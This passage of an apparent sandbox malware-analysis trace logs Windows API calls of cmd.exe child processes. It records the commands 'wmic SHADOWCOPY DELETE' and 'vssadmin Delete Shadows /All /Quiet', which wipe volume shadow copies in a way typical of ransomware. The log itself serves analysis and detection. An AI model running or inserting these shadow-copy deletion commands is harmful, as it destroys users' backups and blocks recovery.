lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.279] GetLastError () returned 0x2 [0034.279] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.279] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.279] GetLastError () returned 0x2 [0034.279] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.279] GetLastError () returned 0x2 [0034.279] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.279] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0x663490 [0034.280] GetProcessHeap () returned 0x650000 [0034.280] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x6634d0 [0034.280] FindClose (in: hFindFile=0x663490 | out: hFindFile=0x663490) returned 1 [0034.281] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.282] GetLastError () returned 0x2 [0034.282] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0x663490 [0034.283] GetProcessHeap () returned 0x650000 [0034.283] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6634d0, Size=0x4) returned 0x6634d0 [0034.283] FindClose (in: hFindFile=0x663490 | out: hFindFile=0x663490) returned 1 [0034.283] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0034.283] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0034.283] GetConsoleTitleW (in: lpConsoleTitle=0x20f744, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0034.284] InitializeProcThreadAttributeList (in: lpAttributeList=0x20f5cc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20f694 | out: lpAttributeList=0x20f5cc, lpSize=0x20f694) returned 1 [0034.284] UpdateProcThreadAttribute (in: lpAttributeList=0x20f5cc, dwFlags=0x0, Attribute=0x60001, lpValue=0x20f68c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20f5cc, lpPreviousValue=0x0) returned 1 [0034.284] GetStartupInfoW (in: lpStartupInfo=0x20f588 | out: lpStartupInfo=0x20f588*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0034.284] GetProcessHeap () returned 0x650000 [0034.284] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x18) returned 0x663490 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.284] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.285] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.285] GetProcessHeap () returned 0x650000 [0034.285] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x663490 | out: hHeap=0x650000) returned 1 [0034.285] GetProcessHeap () returned 0x650000 [0034.285] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xa) returned 0x65ff08 [0034.285] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0034.287] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20f628*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic SHADOWCOPY DELETE", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20f674 | out: lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessInformation=0x20f674*(hProcess=0x78, hThread=0x74, dwProcessId=0xa0c, dwThreadId=0xa1c)) returned 1 [0034.607] CloseHandle (hObject=0x74) returned 1 [0034.607] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0034.608] GetProcessHeap () returned 0x650000 [0034.608] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665ef8 | out: hHeap=0x650000) returned 1 [0034.608] GetEnvironmentStringsW () returned 0x665ef8* [0034.608] GetProcessHeap () returned 0x650000 [0034.608] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb36) returned 0x6640b8 [0034.608] FreeEnvironmentStringsW (penv=0x665ef8) returned 1 [0034.608] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0047.658] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x20f568 | out: lpExitCode=0x20f568*=0x80041014) returned 1 [0047.658] CloseHandle (hObject=0x78) returned 1 [0047.658] _vsnwprintf (in: _Buffer=0x20f6b0, _BufferCount=0x13, _Format="%08X", _ArgList=0x20f574 | out: _Buffer="80041014") returned 8 [0047.658] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0047.658] GetProcessHeap () returned 0x650000 [0047.658] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6640b8 | out: hHeap=0x650000) returned 1 [0047.658] GetEnvironmentStringsW () returned 0x6640b8* [0047.658] GetProcessHeap () returned 0x650000 [0047.658] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb5c) returned 0x6695a0 [0047.658] FreeEnvironmentStringsW (penv=0x6640b8) returned 1 [0047.658] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0047.659] GetProcessHeap () returned 0x650000 [0047.659] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6695a0 | out: hHeap=0x650000) returned 1 [0047.659] GetEnvironmentStringsW () returned 0x6640b8* [0047.659] GetProcessHeap () returned 0x650000 [0047.659] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb5c) returned 0x6695a0 [0047.659] FreeEnvironmentStringsW (penv=0x6640b8) returned 1 [0047.659] GetProcessHeap () returned 0x650000 [0047.659] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x65ff08 | out: hHeap=0x650000) returned 1 [0047.659] DeleteProcThreadAttributeList (in: lpAttributeList=0x20f5cc | out: lpAttributeList=0x20f5cc) [0047.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.659] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0047.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.659] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0047.659] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.659] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0047.659] SetConsoleInputExeNameW () returned 0x1 [0047.660] GetConsoleOutputCP () returned 0x1b5 [0047.660] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0047.660] SetThreadUILanguage (LangId=0x0) returned 0x409 [0047.660] exit (_Code=-2147217388) Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3198f000" os_pid = "0x90c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x35c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0x91c [0034.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39fe8c | out: lpSystemTimeAsFileTime=0x39fe8c*(dwLowDateTime=0x393d9c40, dwHighDateTime=0x1d5ddc0)) [0034.966] GetCurrentProcessId () returned 0x90c [0034.966] GetCurrentThreadId () returned 0x91c [0034.966] GetTickCount () returned 0x1152f0d [0034.966] QueryPerformanceCounter (in: lpPerformanceCount=0x39fe84 | out: lpPerformanceCount=0x39fe84*=17673192509) returned 1 [0034.967] GetModuleHandleA (lpModuleName=0x0) returned 0x4a230000 [0034.967] __set_app_type (_Type=0x1) [0034.967] __p__fmode () returned 0x76be31f4 [0034.967] __p__commode () returned 0x76be31fc [0034.967] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2521a6) returned 0x0 [0034.967] __getmainargs (in: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c, _DoWildCard=0, _StartInfo=0x4a254140 | out: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c) returned 0 [0034.967] GetCurrentThreadId () returned 0x91c [0034.967] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x91c) returned 0x60 [0034.967] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0034.967] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0034.967] SetThreadUILanguage (LangId=0x0) returned 0x409 [0034.968] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0034.968] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x39fe1c | out: phkResult=0x39fe1c*=0x0) returned 0x2 [0034.968] VirtualQuery (in: lpAddress=0x39fe53, lpBuffer=0x39fdec, dwLength=0x1c | out: lpBuffer=0x39fdec*(BaseAddress=0x39f000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.968] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x39fdec, dwLength=0x1c | out: lpBuffer=0x39fdec*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0034.968] VirtualQuery (in: lpAddress=0x2a1000, lpBuffer=0x39fdec, dwLength=0x1c | out: lpBuffer=0x39fdec*(BaseAddress=0x2a1000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0034.968] VirtualQuery (in: lpAddress=0x2a3000, lpBuffer=0x39fdec, dwLength=0x1c | out: lpBuffer=0x39fdec*(BaseAddress=0x2a3000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.968] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x39fdec, dwLength=0x1c | out: lpBuffer=0x39fdec*(BaseAddress=0x3a0000, AllocationBase=0x3a0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0034.968] GetConsoleOutputCP () returned 0x1b5 [0034.968] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.968] SetConsoleCtrlHandler (HandlerRoutine=0x4a24e72a, Add=1) returned 1 [0034.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.968] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0034.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.968] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0034.969] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.969] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0034.969] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.969] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0034.969] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.969] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0034.969] GetEnvironmentStringsW () returned 0x7d2058* [0034.969] GetProcessHeap () returned 0x7c0000 [0034.969] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xaca) returned 0x7d2b30 [0034.970] FreeEnvironmentStringsW (penv=0x7d2058) returned 1 [0034.970] GetProcessHeap () returned 0x7c0000 [0034.970] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x4) returned 0x7d0c90 [0034.970] GetEnvironmentStringsW () returned 0x7d2058* [0034.970] GetProcessHeap () returned 0x7c0000 [0034.970] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xaca) returned 0x7d3608 [0034.970] FreeEnvironmentStringsW (penv=0x7d2058) returned 1 [0034.970] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39ed8c | out: phkResult=0x39ed8c*=0x68) returned 0x0 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x0, lpData=0x39ed98*=0x0, lpcbData=0x39ed90*=0x1000) returned 0x2 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x1, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x0, lpData=0x39ed98*=0x1, lpcbData=0x39ed90*=0x1000) returned 0x2 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x0, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x40, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x40, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x0, lpData=0x39ed98*=0x40, lpcbData=0x39ed90*=0x1000) returned 0x2 [0034.970] RegCloseKey (hKey=0x68) returned 0x0 [0034.970] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39ed8c | out: phkResult=0x39ed8c*=0x68) returned 0x0 [0034.970] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x0, lpData=0x39ed98*=0x40, lpcbData=0x39ed90*=0x1000) returned 0x2 [0034.971] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x1, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.971] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x0, lpData=0x39ed98*=0x1, lpcbData=0x39ed90*=0x1000) returned 0x2 [0034.971] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x0, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.971] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x9, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.971] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x4, lpData=0x39ed98*=0x9, lpcbData=0x39ed90*=0x4) returned 0x0 [0034.971] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39ed94, lpData=0x39ed98, lpcbData=0x39ed90*=0x1000 | out: lpType=0x39ed94*=0x0, lpData=0x39ed98*=0x9, lpcbData=0x39ed90*=0x1000) returned 0x2 [0034.971] RegCloseKey (hKey=0x68) returned 0x0 [0034.971] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9e [0034.971] srand (_Seed=0x5e3d6f9e) [0034.971] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin Delete Shadows /All /Quiet" [0034.971] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin Delete Shadows /All /Quiet" [0034.971] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.971] GetProcessHeap () returned 0x7c0000 [0034.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x210) returned 0x7d2058 [0034.971] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7d2060, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0034.971] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.971] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.971] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.971] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0034.971] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0034.972] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0034.972] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0034.972] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0034.972] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0034.972] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0034.972] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0034.972] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0034.972] GetProcessHeap () returned 0x7c0000 [0034.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d2b30 | out: hHeap=0x7c0000) returned 1 [0034.972] GetEnvironmentStringsW () returned 0x7d2270* [0034.972] GetProcessHeap () returned 0x7c0000 [0034.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xae2) returned 0x7d4bd0 [0034.972] FreeEnvironmentStringsW (penv=0x7d2270) returned 1 [0034.972] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.972] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.972] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0034.972] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0034.972] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0034.972] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0034.972] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0034.972] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0034.972] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0034.972] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0034.972] GetProcessHeap () returned 0x7c0000 [0034.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x54) returned 0x7d56c0 [0034.972] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x39fb58 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.972] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x39fb58, lpFilePart=0x39fb54 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39fb54*="Desktop") returned 0x25 [0034.972] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.972] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39f8d4 | out: lpFindFileData=0x39f8d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7d1ed8 [0034.973] FindClose (in: hFindFile=0x7d1ed8 | out: hFindFile=0x7d1ed8) returned 1 [0034.973] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39f8d4 | out: lpFindFileData=0x39f8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7d1ed8 [0034.973] FindClose 